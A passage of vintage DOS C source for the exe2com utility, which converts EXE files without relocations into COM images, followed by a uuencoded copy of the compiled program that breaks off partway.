of IP */ cs, /* CS offset in load module */ relo_start, /* Offset of first relo item */ ovl_num; /* Overlay number */ } xh; FILE *fi, /* Input file stream */ *fo; /* Output file stream */ char fin[129], /* Input file name */ fon[129]; /* Output file name */ int info=0; /* Nonzero if /I found */ char buf[CONBUFSIZ]; /* printf I/O buffer */ char defext[] = ".com"; /* Default output extension - change if you want */ unsigned long code_start, /* Offset of program image in EXE file */ code_size; /* Size of program image, in bytes */ /* Function prototypes */ void init (unsigned, char *[]); void read_hdr (void); void disp_info (void); void convert (void); void err_xit (unsigned); void usage (void); /* ** program mainline */ main(argc, argv) unsigned argc; char *argv[]; { init (argc, argv); read_hdr (); if (info) disp_info (); else convert (); } /* ** Initialize - parse arguments, get filenames, open/create files */ void init (argc, argv) unsigned argc; char **argv; { char c, *cp; int i; /* Set up buffered output, display logo */ setvbuf (stdout, buf, _IOFBF, CONBUFSIZ); printf ("exe2com %u.%u%u by Chris Dunford/The Cove Software Group\n", MAJVER, MINVER, REVISION); /* Get arguments */ cp = *(++argv); for (i=1; i < argc; i++) { while ( (cp = strchr (cp, '/')) != (char *) NULL) { *cp++ = '\0'; c = *cp++; switch (toupper (c)) { case 'I': info = 1; break; default: usage (); } } if (**argv) if (fin[0] == '\0') strcpy (fin, strlwr (*argv)); else if (fon[0] == '\0') strcpy (fon, strlwr (*argv)); else usage (); cp = *(++argv); } /* Check to ensure that an input filename was found *. if (fin[0] == '\0') usage (); /* If the input file has no extension, add .EXE */ if (strchr (fin, '.') == (char *) NULL) strcat (fin, ".exe"); /* Copy input name to output if unspecified */ if (fon[0] == '\0') strcpy (fon, fin); /* Check output extension--change EXE to COM, or add COM */ if ((cp = strchr (fon, '.')) == (char *) NULL) strcat (fon, defext); else if (strcmp (cp, ".exe") == 0) strcpy (cp, defext); /* Try to open input file */ if ((fi = fopen (fin, "rb")) == (FILE *) NULL) { fprintf (stderr, "exe2com: can't find input file %s\n", fin); exit (1); } /* Try to create output file, if INFO not requested */ if (!info) if ((fo = fopen (fon, "wb")) == (FILE *) NULL) { fprintf (stderr, "exe2com: can't open output file %s\n", fin); exit (1); } } /* ** usage display */ void usage (void) { fprintf (stderr, "usage: exe2com [/I] infile [outfile]\n"); exit (1); } /* ** Read and check the EXE file header */ void read_hdr(void) { char *cp; /* Read the formatted portion of the header */ if (!fread (&xh, sizeof (struct exe_header), 1, fi)) err_xit (BADREAD); /* Check for "MZ" signature */ if (strncmp (xh.exe_sig, "MZ", 2)) err_xit (BADSIG); /* Compute offset of program image in module, and program size. ** ** The program size is computed as follows; it cannot exceed 64K bytes: ** 512 * (# EXE pages - 1) ** + valid bytes in last EXE page ** - offset of program image in EXE file ** ** Note that if the IP is nonzero, we will skip the first ** IP bytes of the program image, and copy IP bytes fewer ** than the actual size. */ code_start = ((unsigned long) xh.hdr_size) << 4; code_size = (unsigned long) (xh.pages-1) * 512 + (xh.excess ? xh.excess : 512) /* fixed 11/19/87 - CJB */ - code_start; /* Don't check anything else if /I requested */ if (info) return; /* Check header; to be convertible, must have: ** -- no relocatable items ** -- no stack segment ** -- no code segment ** -- IP == 0 or 100 ** -- code size < 65536 */ if (xh.relo_ct) err_xit (HASRELO); if (xh.ss || xh.sp) err_xit (HAS_SS); if (xh.cs) err_xit (HAS_CS); if (xh.ip != 0 && xh.ip != 0x100) err_xit (BAD_IP); if (code_size > 65536L) err_xit (TOO_BIG); /* Issue a warning if COM file and IP != 0x100 */ if (!strcmp (strchr (fon, '.'), ".com") && xh.ip != 0x100) fprintf (stderr, "exe2com warning: COM file, initial IP not 100H\n"); } /* ** /i output: display EXE file info */ void disp_info (void) { char *cp; unsigned long k; cp = strrchr (fin, '\\'); if (!cp) cp = strchr (fin, ':'); cp = cp ? cp++ : fin; printf ("\n%-20s (hex) (dec)\n",cp); k = (unsigned long) (xh.pages-1) * 512 + (xh.excess ? xh.excess : 512); printf (" EXE file size %5lX %7lu\n", k, k); printf (" EXE header size (para) %4X %7u\n", xh.hdr_size, xh.hdr_size); putchar (code_size > 65536L ? '*' : ' '); printf (" Program image size (bytes) %5lX %7lu\n", code_size, code_size); k = (unsigned long) xh.min_mem * 16 + code_size; printf (" Minimum load size (bytes) %5lX %7lu\n", k, k); printf (" Min allocation (para) %4X %7u\n", xh.min_mem, xh.min_mem); printf (" Max allocation (para) %4X %7u\n", xh.max_mem, xh.max_mem); putchar (xh.cs || (xh.ip != 0x100) ? '*' : ' '); printf (" Initial CS:IP %04X:%04X\n", xh.cs, xh.ip); putchar (xh.ss || xh.sp ? '*' : ' '); printf (" Initial SS:SP %04X:%04X %7u (stack size)\n", xh.ss, xh.sp, xh.sp); putchar (xh.relo_ct ? '*' : ' '); printf (" Relocation count %4X %7u\n", xh.relo_ct, xh.relo_ct); printf (" Relo table start %04X %7u\n", xh.relo_start, xh.relo_start); printf (" EXE file checksum %04X %7u\n", xh.cksum, xh.cksum); printf (" Overlay number %4X %7u\n", xh.ovl_num, xh.ovl_num); printf ("* = this item prevents conversion to BIN/COM\n"); } /* ** Convert the file. Nothing to do, really, other than ** reading the image (which follows the header), and ** dumping it back out to disk. */ void convert (void) { #define BUFSIZE 16384 static char buffer[BUFSIZE]; /* Forces buffer out of program stack */ unsigned bsize; /* Seek to start of program image, skipping IP bytes */ if (fseek (fi, code_start+xh.ip, 0)) err_xit (BADREAD); /* Read blocks and copy to output */ for (code_size -= xh.ip; code_size; code_size -= bsize) { /* Set count of bytes to read/write */ bsize = code_size > BUFSIZE ? BUFSIZE : code_size; /* Read and write block */ if (!fread (buffer, bsize, 1, fi)) err_xit (BADREAD); if (!fwrite (buffer, bsize, 1, fo)) err_xit (BADWRITE); } /* All done, close the two files */ fclose (fi); fclose (fo); } /* ** Display an error message, delete output file, exit. */ void err_xit (code) unsigned code; { static char *msg[UNKNOWN+1] = { "error reading EXE header", "error writing output file", "invalid EXE file signature", "EXE has relocatable items", "EXE has stack segment", "EXE has nonzero CS", "IP not 0 or 100H", "program exceeds 64K", "unknown internal error" }; if (code > UNKNOWN) code = UNKNOWN; fprintf (stderr, "exe2com: %s, can't convert\n", msg[code]); /* Close two files and delete partial output */ fclose (fi); fclose (fo); unlink (fon); /* Exit with errorlevel 1 */ exit (1); } ───────────────────────────────────────────────────────────────────── EXE2COM UUencodado ───────────────────────────────────────────────────────────────────── begin 600 exe2com.exe M35IK`1T`!``@`%<%__]-"``('4$L!P``'@````$`)`#P`C<'``#"!P``N`#P M`@`````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````````````````````````````````````````58OL,\#H7@G_=@;_ M=@3H&0"#Q`3H!P*#/D(``'0&Z$<#7<.0Z-T%7<.058OLN`8`Z#,)5K@`"%`K MP%"X!DY0N"P!4.CL*H/$"+@$`%`KP%"X`0!0N(P#4.A5$(/$"(-&!@*+7@:+ M!XE&_L=&^@$`ZV>0BD;\F#U)`'0%Z((!ZV#'!D(``0#K6(M>!HLW@#P`=#>` M/OY*`'455NC-*X/$`E"X_DI0Z#@E@\0$ZQR0@#Z$30!U$8M>!O\WZ*TK@\0" M4+B$3>O>Z#<!@T8&`HM>!HL'B4;^_T;ZBT8$.4;Z<SRX+P!0_W;^Z"HK@\0$ MB4;^"\!TE(O8_T;^Q@<`BU[^_T;^B@>(1OR8B]CVAWL"`G4#Z5[_F"T@`.E; M_Y"X+@!0N/Y*4.CM*H/$!`O`=0ZXQ@-0N/Y*4.AG)(/$!(`^A$T`=0ZX_DI0 MN(1-4.B2)(/$!+@N`%"XA$U0Z+@J@\0$B4;^"\!U#KA$`%"XA$U0Z"\DZQR0 MN,P#4/]V_NB4)(/$!`O`=0VX1`!0_W;^Z%$D@\0$N-(#4+C^2E#HQ0N#Q`2C M"E8+P'4<N/Y*4+C6`U"X-`%0Z-8+@\0&N`$`4.C4!H/$`H,^0@``=3&X^@-0 MN(1-4.B-"X/$!*/@2`O`=1RX_DI0N/X#4+@T`5#HG@N#Q`:X`0!0Z)P&@\0" M7HOE7<,SP.AA![@B!%"X-`%0Z'P+@\0$N`$`4.AZ!H/$`L-5B^RX`@#H/P?_ M-@I6N`$`4+@<`%"XXDA0Z)`+@\0("\!U"2O`4.B!!(/$`K@"`%"X2`10N.)( M4.@!)(/$!@O`=`JX`@!0Z&$$@\0"H>I(*]*Q!-'@T=+^R77XHX!-B1:"38,^ MY$@`=`6AY$CK`[@``BO2B\BAYDA(B]K1X-'2BO**U(K@*L`#R!/:*PZ`31L> M@DV)#@96B1X(5H,^0@``=`/IH`"#/NA(`'0*N`,`4.CW`X/$`H,^\$@`=0># M/O)(`'0*N`0`4.C?`X/$`H,^^$@`=`JX!0!0Z,X#@\0"@S[V2`!T$H$^]D@` M`70*N`8`4.BU`X/$`H,^"%8!<A-W!X,^!E8`=`JX!P!0Z)L#@\0"N$P$4+@N M`%"XA$U0Z-4H@\0$4.C,(H/$!`O`=1:!/O9(``%T#KA2!%"X-`%0Z"P*@\0$ MB^5=PY!5B^RX!@#H]06X7`!0N/Y*4.C"*(/$!(E&_@O`=1&X.@!0N/Y*4.B# M*(/$!(E&_H-^_@!T"8M&_O]&_NL$D+C^2HE&_E"X@@10Z/P,@\0$@S[D2`!T M!J'D2.L$D+@``BO2B\BAYDA(B]K1X-'2BO**U(K@*L`#R!/:B4[ZB5[\4U%3 M4;BD!%#HO@R#Q`K_-NI(_S;J2+C0!%#HK`R#Q`;_#BX!>".#/@A6`7(.=P># M/@96`'0%L"KK`Y"P((L>+`'_!BP!B`?K)+@L`5"#/@A6`7(/=P>#/@96`'0& MN"H`ZP20N"``4.BA#8/$!/\V"%;_-@96_S8(5O\V!E:X_`10Z$4,@\0*H>Q( M*]*Q!-'@T=+^R77X`P8&5A,6"%:)1OJ)5OQ24%)0N"@%4.@:#(/$"O\V[$C_ M-NQ(N%0%4.@(#(/$!O\V[DC_-NY(N(`%4.CV"X/$!O\.+@%X(8,^^$@`=0B! M/O9(``%T!+`JZP*P((L>+`'_!BP!B`?K(K@L`5"#/OA(`'4(@3[V2``!=`6X M*@#K`[@@`%#H[PR#Q`3_-O9(_S;X2+BL!5#HFPN#Q`;_#BX!>""#/O!(`'4' M@S[R2`!T!+`JZP*P((L>+`'_!BP!B`?K(K@L`5"#/O!(`'4'@S[R2`!T!K@J M`.L$D+@@`%#HE0R#Q`3_-O)(_S;R2/\V\$BXT`50Z#T+@\0(_PXN`7@:@S[H M2`!T!;`JZP.0L""+'BP!_P8L`8@'ZQJX+`%0@S[H2`!T!;@J`.L#N"``4.A% M#(/$!/\VZ$C_-NA(N`@&4.CQ"H/$!O\V^DC_-OI(N#(&4.C?"H/$!O\V]$C_ M-O1(N%X&4.C-"H/$!O\V_$C_-OQ(N(H&4.B["H/$!KBV!E#HL0J+Y5W#D%6+ M[+@"`.A9`RO`4*'V2"O2`P:`31,6@DU24/\V"E;HN""#Q`@+P'0)*\!0Z)4` M@\0"H?9(ZP20BT;^*](I!@96&18(5J$&5@L&"%9T8*$&5HL6"%8+TG4%/0!` M=@4KTK@`0(E&_O\V"E:X`0!0_W;^N*P(4.A.!X/$"`O`=0DKP%#H/P"#Q`+_ M-N!(N`$`4/]V_KBL"%#HY@B#Q`@+P'67N`$`4.@<`(/$`NN+D/\V"E;HPP6# MQ`+_-N!(Z+D%B^5=PY!5B^PSP.B6`H-^!`AV!<=&!`@`BUX$T>/_MTH`N+8' M4+@T`5#HG0:#Q`;_-@I6Z(,%@\0"_S;@2.AY!8/$`KB$35#H"R:#Q`*X`0!0 MZ'T!@\0"7<.T,,TA/`)S`LT@O^P"BS8"`"OW@?X`$'(#O@`0^H[7@<0.5OMS M$!8?Z/D!,\!0Z'`$N/],S2&!Y/[_-HDF8@`VB29>`(O&L033X$@VHUP``_>) M-@(`C,,KWO?;M$K-(3:,'M,`%@?\OZP(N1!6*\\SP/.J%A_H/``6'^B3`^@" M`C/M_S;T`/\V\@#_-O``Z%/X4.CC`+CL`H[8N`,`-L<&8`"D"%#H?`'H]@.X M_P!0_Q9@``"T,,TAH]4`N``US2&)'L$`C`;#``X?N``ENL$'S2$6'XL.@`/C M+HX&TP`FBS8L`,4&@@.,VC/;-O\>?@-S!18?Z4T!-L4&A@.,VKL#`#;_'GX# M%A^.!M,`)HL.+`#C-H[!,_\F@#T`="RY#`"^M`#SIG0+N?]_,\#RKG49Z^4& M'@<?B_>_W`"LF)&L_L!T`4BJXO<6'[L$`("GW`"_N`!$S2%R"O;"@'0%@(_< M`$!+>>>^B@._B@/HH@"^B@._B@/HB@##58OLOM)(O])(Z'T`OHH#OXP#Z'0` MZP-5B^R^C`._C`/H9@"^C`._C`/H;`#HN0`+P'0+@WX$`'4%QT8$_P"Y#P"[ M!0#VA]P``70$M#[-(4/B\N@'`(M&!+1,S2&+#H`#XP>[`@#_'GX#'L46P0"X M`"7-(1^`/OX``'0-'J#_`,46``&T)<TA'\,[]W,*3T^+#>/V_]'K\L,[]W,. M@^\$BP4+10)T\O\=Z^[#`%6+[+C\`%#H<P*#/@0!`'0$_Q8$`;C_`%#H80*+ MY5W#N`(`Z5K^68O<*]AR"CL>!@%R!(OC_^$SP.E$_E8S]KE"`#+D_*PRX.+[ M@/15=`WHKO^X`0!0Z"0"N`$`7L./!@@!N@(`.!;5`'0IC@;3`":.!BP`C`;X M`#/`F;D`@#/_\JZN=?M'1XD^]@"Y___RKO?1B]&_`0"^@0".'M,`K#P@=/L\ M"73W/`UT;PK`=&M'3JP\('3H/`ETY#P-=%P*P'18/")T)#Q<=`-"Z^0SR4&L M/%QT^CPB=`0#T>O3B\'1Z1/1J`%URNL!3JP\#70K"L!T)SPB=+H\7'0#0NOL M,\E!K#Q<=/H\(G0$`]'KVXO!T>D3T:@!==+KEQ8?B3[P``/71]'G`]>`XOXK MXHO$H_(`B]@#^Q8'-HD_0T/%-O8`K*H*P'7ZOH$`-HX>TP#K`S/`JJP\('3[ M/`ET]SP-=0/I?P`*P'4#ZWF0-HD_0T-.K#P@=-L\"737/`UT8@K`=%X\(G0G M/%QT`ZKKY#/)0:P\7'3Z/")T!K!<\ZKKT;!<T>GSJG,&L"*JZ\5.K#P-="X* MP'0J/")TMSQ<=`.JZ^PSR4&L/%QT^CPB=`:P7/.JZ]FP7-'I\ZISEK`BJNO- M,\"J%A_'!P``_R8(`56+[%6.'M,`,\F+P8OIB_E)BS8L``OV=`B.QO*N1:YU M^D670"3^B_W1Y0/%%A]7OPD`Z(4`7XO/B_T#^(DN]``>!X[>,_9)XQ.!/#M# M=`6)?@!%1:RJ"L!U^N+MB4X`%A]=B^5=PU6+[%97'@>+5@2^V@>M.\)T$$"6 M=`R7,\"Y___RKHOWZ^N67UZ+Y5W"`@!5B^Q7_W8$Z,O_"\!T%)*+^C/`N?__ M\J[WT4F[`@"T0,TA7XOE7<("`(O0`P9B`'(U.09<`',E!0\`4-'8L0/3Z(S9 MBQ[3`"O+`\&.PXO8M$K-(5AR$"3P2*-<`)6++F(``19B`,.+Q^F8^W(3,\"+ MY5W#<_A0Z!@`6(OE7<-S!^@.`+C__YF+Y5W#,N3H`0##HM@`"N1U(X`^U0`# M<@T\(G,-/"!R!;`%ZP>0/!-V`K`3NPH!UYBCS0##BL3K]U6+[(/L$%=6BW8$ MO___]D0&@W4#Z9$`]D0&0'0#Z8@`5NA&"8/$`HOXBD0'F(O8T>,#V-'CBX?( M`8E&^E;HS`:#Q`**1`>84.@'$H/$`@O`?%.#?OH`=%"X'@%0C4;P4.@!&8/$ M!(U&\HE&_(O8@'_^7'00N"`!4(U&\%#HI1B#Q`3K`_]._+@*`%#_=OS_=OKH MA!F#Q`:-1O!0Z/X?@\0""\!T`[___\9$!@"+QUY?B^5=PU6+[(/L!%=6OB0! M*__K%9#V1`:#=`M6Z)P(@\0"0'0!1X/&"#DV/`)SYHO'7E^+Y5W#58OL@^P" M5N@F$8OP"_9T$E;_=@;_=@3H.@:#Q`9>B^5=PRO`7HOE7<.058OL@^P&5U:- M1@B)1OS_=@3H"@>#Q`*+\(U&"%#_=@;_=@3HG`B#Q`:+^/]V!%;HF@>#Q`2+ MQUY?B^5=PY!5B^R#[`I75HMV"HM&!O=F"(E&_(E&^H-^!@!T!H-^"`!U"8M& M^EY?B^5=P_9$!@QT`^F"`(I$!YB+V-'C`]C1X_:'Q`$!=6_W1OK_`74__W;Z M_W8$F%#HZ!*#Q`:+^`O_=`6#__]U&(/__W4%L"#K`Y"P$`A$!BO`7E^+Y5W# MD(O'*]+W=@9>7XOE7<.0_TP">`N+'/\$B@<JY.L(D%;H@`*#Q`*+^$!TS8M> M!/]&!(O'B`?_3OKV1`8(=7Z*1`>8B]C1XP/8T>/VA\0!`74#Z:$`ZV:0@7[Z M``)R18M&^K$)T^C3X(E&^%#_=@2*1`>84.A-$H/$!HOX"_]T!8/__W47@___ M=0/IF`"P$`A$!HM&_"M&^NEI_Y`I?OH!?@3K&5;H_`&#Q`*+^$!TXHM>!(O' MB`?_1@3_3OJ#?OH`=,^#?`(`=(^+1`(K1OH;R2/!`T;ZB4;X4/\T_W8$Z&(= M@\0&BT;X`00!1@0I1OHI1`+KR)"#?OH`=):*1`>8B4;V_W;Z_W8$_W;VZ+41 M@\0&B_@+_W0%@___=0V#__]T`^EH_[`@Z67_*7[Z`7X$@W[Z`'4#Z5G_Z\B0 M58OL@^P(5U:+=@2+?@J+1@;W9@B)1OR)1OJ#?@8`=`:#?@@`=0@KP%Y?B^5= MP_9%!@QU7XI%!YB+V-'C`]C1X_:'Q`$!=4SW1OK_`74@_W;Z5IA0Z`T2@\0& MB4;^/?__=,0KTO=V!EY?B^5=PY#_30)X"XH$BQW_!8@'ZPR05XH$F%#HZ`&# MQ`3V108@=9=&_T[Z]D4&"'4ZBD4'F(O8T>,#V-'C]H?$`0%T7.LE_TT">`N* M!(L=_P6(!^L,D%>*!)A0Z*@!@\0$]D4&('531O].^H-^^@!T28-]`@!TSXM% M`BM&^AO)(\$#1OJ)1OA05O\UZ!(<@\0&BT;X`04#\"E&^BE%`NO+_W;Z5HI% M!YA0Z%`1@\0&B4;^/?__=`,I1OJ+1OPK1OKI-_^058OL@^P(5U:^+`&-1@:) M1OQ6Z.4#@\0"B_B-1@90_W8$5NAY!8/$!HE&^%97Z'@$@\0$BT;X7E^+Y5W# M58OL5U:+=@3V1`:#=`;V1`9`=`BX__]>7UW#D/9$!@)T!H!,!B#K[(!,!@&* M1`>8B\C1X`/!T>"+^(''Q`&`)?OV1`8,=0_V!0%U"E;H4@"#Q`+K!I"+1`2) M!(I$!YB+V-'C`]C1X_^WQ@'_=`284.BM#X/$!HE$`@O`?Q4+P'0%L"#K`Y"P M$`A$!L=$`@``ZX+_3`*+'/\$B@<JY%Y?7<.058OL5K@``E#HFQ&#Q`*+7@2) M1P0+P'08@$\&"(I'!YB+V-'C`]C1X\>'Q@$``NLABUX$@$\&!(I'!YB+R-'@ M`\'1X(OP!<4!B4<$QX3&`0$`BUX$B_.+1`2)!\='`@``7EW#D%6+[(/L!E=6 MBW8&]D0&@W0&]D0&0'0-@$P&(+C__UY?B^5=P_9$!@%U[8!,!@*`9`;O*\") M1`*+^(E^_/9$!@AU$XI$!YB+V-'C`]C1X_:'Q`$!=&&+/"M\!(M$!$")!(I$ M!YB+V-'C`]C1XXN'Q@%(B40""_]^%%?_=`2*1`>84.AR#X/$!HE&_.L?BD0' MF(E&^HO8]H?<`"!T#[@"`%`KP%!04^A4#(/$"(M<!(I&!(@'Z<P`]D0&!'0# MZ:L`@?XL`75)BD0'F%#H^Q.#Q`(+P'0#Z8\`_P8B`<=$!/Y(BD0'F(O(T>`# MP='@B4;ZB]C&A\0!`<<$_TC'A\8!``+'1`+_`8I&!*+^2.MUD+@``E#H+1"# MQ`*)1`0+P'1'@$P&"$")!(I$!YB+V-'C`]C1X\>'Q@$``L=$`O\!BUP$BD8$ MB`>*1`>8B4;ZB]CVA]P`('0MN`(`4"O`4%!3Z)L+@\0(ZQR`3`8$OP$`B\=0 MC48$4(I$!YA0Z'H.@\0&B4;\.7[\=`/IC?Z*1@0JY%Y?B^5=PY!5B^Q6BW8$ M]D0&@W0=]D0&"'07_W0$Z($/@\0"@&0&]RO`B02)1`2)1`)>7<.058OL@^P* M5U:+=@B+7@:*!Y@]80!T*CUR`'0-/7<`=!8KP%Y?B^5=PRO_QD;Z`;D!`(I6 M^NL@OP$#QD;Z`NOOD+\)`>OTD/?'`@!U/X'/`@"!Y_[_LH#_1@:+7@:`/P!T M-0O)=#&*!Y@]*P!TV3UB`'02/70`=12+QZD`P'4-@<\`0.O2B\>I`,!T!2O) MZ\>0@<\`@.O`B%;ZB4[\N*0!4%?_=@3H"PN#Q`:)1O@+P'T#Z6S_BD;ZB$0& M_P8B`8M&^(O(T>`#P='@B4;V*L"+7O:(A\0!F(E$`L>'R`$``"O`B02)1`2* M1OB(1`>+QEY?B^5=PU6+[%=6BW8$_P8B`8'^+`%U0/9$!@QU.HI$!YB+R-'@ M`\'1X(OX]H7$`0%U)<=$!/Y(QH7$`0''A<8!``+'1`(``H!,!@+'!/Y(N`$` M7E]=PY"!_C0!=`:!_D0!=4KV1`8(=42*1`>8B\C1X`/!T>"+^/:%Q`$!=2^! M/C`!_DAT)\=$!/Y(BD0&F*.L2,:%Q`$!QX7&`0`"@&0&^X!,!@+'1`(``NN? MD"O`7E]=PU6+[%=6BW8&@WX$`'1>@?XL`74ZBD0'F%#H1A&#Q`(+P'0K5NAG M`(/$`HI$!YB+R-'@`\'1X(OXQH7$`0#'A<8!```KP(D$B40$7E]=PX'^-`%T M!H'^1`%U+U;H,`"#Q`*@K$@D!`A$!NN_D(%\!/Y(=1:*1`>84.CG$(/$`@O` M=`=6Z`@`@\0"7E]=PY!5B^R#[`175HMV!"O_BD0&)`,\`G5`]D0&"'43BD0' MF(O8T>,#V-'C]H?$`0%T)XL$*T0$B4;\"\!^&U#_=`2*1`>84.B["X/$!CM& M_'0'@$P&(+___XM$!(D$QT0"``"+QUY?B^5=PU6+[+AB`>@/\U=6BW8&C8:@ M_J.^2(M&"*.\2(M&!*/02,<&N$@``,<&MD@``.D>`H`\)70#Z?@!QP;,2`$` M*\"CRDBCQDBCM$BCR$BCLDBCL$BCKDBCSDBCQ$C'!KI((`"`?`$P=3Q&QP:Z M2#``ZS.`/"MU#?\&RDC'!K!(``#K(I"`/"!U#8,^RD@`=17_!K!(ZP__!LY( MZPF`/"UUT?\&Q$A&B@284.AO!X/$`@O`=>A6N,!(4.C@!H/$!(OP@S[`2`!] M#/\&Q$BAP$CWV*/`2(`\+G4C_P:R2$96N,Q(4.BV!H/$!(OP@S[,2`!]"L<& MS$@!`/\.LDB*!)@]1@!T/CU.`'1!/6@`="P];`!T!SUP`'0JZP;'!LA(`@"# M/LA(`'0%@#QP=06`/$QU`4:`/`!U&^D>`<<&R$@!`.O>QP;(2!``Z];'!LA( M"`#KSHH$F(F&GOX]10!T"CU'`'0%/5@`=0G_!L9(@X:>_B"+AI[^+6,`/14` M=@/IJ``#P),N_Z?.&(L>O$B+'Z&V2(D'@P:\2`+I`P&0_P:T2,<&SD@``+@* M`%#H&0&#Q`+IZP"0N`@`Z_"0_P:N2,<&S$@$`/\&QDC_!K)(@S[(2`)T!X,^ MR$@0=3#'!LA(``"#!KQ(`K@0`%#HV@"#Q`*X.@!0Z)8#@\0"@RZ\2`2X$`!0 MZ,$`@\0"ZXFX$`#KFI`KP%#HY@'KE;@!`.OUD/^VGO[HQ0+KAI"#/LA(`'0# MB\9.B_Y'@#T`=`6`/25U]8O'*\90B\8>4.CA`X/$!HOW@#P`=`/IVOV#/K9( M`'5=BQ[02/9'!B!T4[C__UY?B^5=PW08_!=Z&'H8>AB$&/P7A!B$&(08A!CD M%Q`8%AB$&(08;!B$&/@7A!B$&&88@SZX2`!T$X,^MD@`=1"+'M!(]D<&('6S MZP1&ZY60H;9(7E^+Y5W#D%6+[(/L&%=6@WX$"G0$_P:T2(,^R$@"=`>#/LA( M$'46BQZ\2(L'BU<"B4;\B5;^@P:\2`3K*H,^M$@`=!&+'KQ(BP>)1OS'1OX` M`.L.D(L>O$B+!YF)1OR)5OZ#!KQ(`H,^SD@`=`V+1OP+1OYT!8M&!.L"*\"C MPDB+-KY(@SZT2`!U*H-^_@!])(-^!`IU%\8$+4:+1OR+5O[WV(/2`/?:B4;\ MB5;^QT;X`0#K!<=&^```C4;HB_C_=@17_W;^_W;\Z-D,@\0(@SZR2`!T(5?H M60R#Q`*+#LQ(*\B)3O3K!9#&!#!&B\%)"\!_]8E.](L.QDB*!8@$"\ET!SQA M?`.`+"!&1X!]_P!UZ8,^M$@`=12ARD@+!K!(=`N#?O@`=06X`0#K`BO`4.BB M`H/$`EY?B^5=PY!5B^R#[!!75L<&ND@@`(-^!`!T%+X!`*&\2(E&^(Q>^H,& MO$@"Z9$`@S[(2!!U%XL>O$B+!XM7`HE&^(E6^H,&O$@$ZQ60BQZ\2(L'B4;\ MB4;XC%[Z@P:\2`*#/LA($'4-BT;X"T;Z=12X/@+K"8-^_`!U";A%`HE&^(Q> M^HM&^(M6^HE&\(E6\BOV.3:R2'0<BP[,2.L.D,1>\/]&\":`/P!T%48[SGX0 MZ^V01L1>\/]&\":`/P!U\XL^P$@K_H,^Q$@`=0=7Z`@!@\0"5O]V^O]V^.A9 M`8/$!H,^Q$@`=`=7Z.T`@\0"7E^+Y5W#58OL@^P"H;Q(B4;^@SZR2`!U!L<& MS$@&`/\VQDC_-LQ(_W8$_S:^2/]V_O\6:@*#Q`J#?@1G=`:#?@1'=1F#/LY( M`'42@S[,2`!T"_\VODC_%FP"@\0"@S[.2`!T$H,^S$@`=0O_-KY(_Q9P`H/$ M`H,&O$@(QP;"2```H<I("P:P2'04_W;^_Q9R`H/$`@O`=`:X`0#K`Y`KP%#H M#`&+Y5W#58OL5H,^N$@`=3.+'M!(_T\">`Z*1@2+-_\'B`0JY.L.D/\VT$C_ M=@3H[O6#Q`1`=0C_!KA(7EW#D/\&MDA>7<.058OL@^P"5U:#/KA(`'5)BW8$ M"_9^0NL5_S;02/\VNDCHM?6#Q`1`=03_!KA(B\9."\!^%HL>T$C_3P)XVZ"Z M2(L__P>(!2KDZ]R#/KA(`'4'BT8$`0:V2%Y?B^5=PU6+[(/L`E=6BW8(@SZX M2`!U4.L<_S;02,1>!":*!YA0Z%?U@\0$0'4$_P:X2/]&!(O&3@O`=!V+'M!( M_T\">-3$7@0FB@>+'M!(BS__!X@%*N3KTH,^N$@`=0>+1@@!!K9(7E^+Y5W# M58OL@^P*5U:+-KY(*\")1OR)1OJ+/L!(5NA""8/$`HE&^"OX*WX$@S[$2`!U M&(`\+743@SZZ2#!U#*R84.BX_H/$`O].^(,^ND@P=`L+_WX'@S[$2`!T&8-^ M!`!T!O]&^NAB`(,^PD@`=`;_1OSH;0"#/L1(`'4F5^B^_H/$`H-^!`!T"8-^ M^@!U`^@X`(,^PD@`=`F#?OP`=0/H0`#_=OB+QAY0Z/#^@\0&@S[$2`!T#<<& MND@@`%?H?OZ#Q`)>7XOE7<.0@S[*2`!T!;@K`.L#N"``4.@?_H/$`L.0N#`` M4.@3_H/$`H,^PD@0=1>#/L9(`'0&N%@`ZP20N'@`4.CU_8/$`L.058OL@^P$ M5U:+=@;'1OX!`(`\*G4/BQZ\2(L_@P:\2`)&ZTB0@#PM=0;'1O[__T8K_X`\ M,'PU@#PY?S`Y/K)(=0N`/#!U!L<&ND@P`(H$F(O/T>'1X0//T>$#R(/I,(OY M1H`\,'P%@#PY?N&+1O[W[XOXBUX$B3^+QEY?B^5=PY!5B^R#[`)6ODP"BDX$ MZP*01H`\`'0,.@QU]K@!`%Z+Y5W#*\!>B^5=PY!5B^R#[`)6OB0!BPX\`O9$ M!H-U&"O`B40"B$0&B40$B03&1`?_B\9>B^5=PXO&@\8(.\%UV2O`7HOE7<-5 MB^R+7@0['MH`<@:X``GYZPNT/LTA<@7&A]P``.DZ[56+[(/L!(M>!#L>V@!R M!;@`">LJ]T8(`(!T2(-^"@!T&C/)B]&X`4+-(7)+]T8*`@!U#@-&!A-6"'DH MN``6^>LVB5;^B4;\B]&X`D+-(0-&!A-6"'D-BT[^BU;\N`!"S2'KV(M6!HM. M"(I&"K1"S2%R!8"GW`#]Z=/L58OL@^P$,O^(?OZ+1@:+R,9&_`"I`(!U$*D` M0'4']@93`H!U!,9&_("+5@0D`PK'M#W-(7,2/0(`=0GWP0`!=`/IH0#YZ8OL MDXO!)0`%/0`%=0FT/LTAN``1Z^C&1OT!N`!$S2'VPH!T!(!._$#V1OQ`=`/I MU0"+1@:I``)T':D#`'0),\FT0,TAZ;\`M#[-(8M6!+@`0\TAZV>0]D;\@'4# MZ:<`J0(`=0/IGP"Y__^+T;@"0LTA]]F-5O^T/\TA"\!T%8!^_QIU#_?9B]&X M`D+-(3/)M$#-(3/)B]&X`$+-(>MHD,9&_0"+3@CHI`")3@CV1O[_=0?W1@8" M`'4#@.'^BU8$M#S-(7,#Z<7KD_9&_O]U!_=&!@(`=3"T/LTABD8&)`,*1OZ+ M5@2T/<TA<MJ3]D;]`744]T8(`0!T#8#)`8M6!+@!0\TA<K_V1OQ`=3V+5@2X M`$/-(8O!,LDE`0!T`K$0]T8&"`!T`X#)(#L>V@!R"K0^S2&X`!CIQ?X*3OR` MR0&(C]P`B\.+Y5W#,LGKW*'/`/?0(\$SR:B`=0.`R0'#58OL@^P"BUX$.Q[: 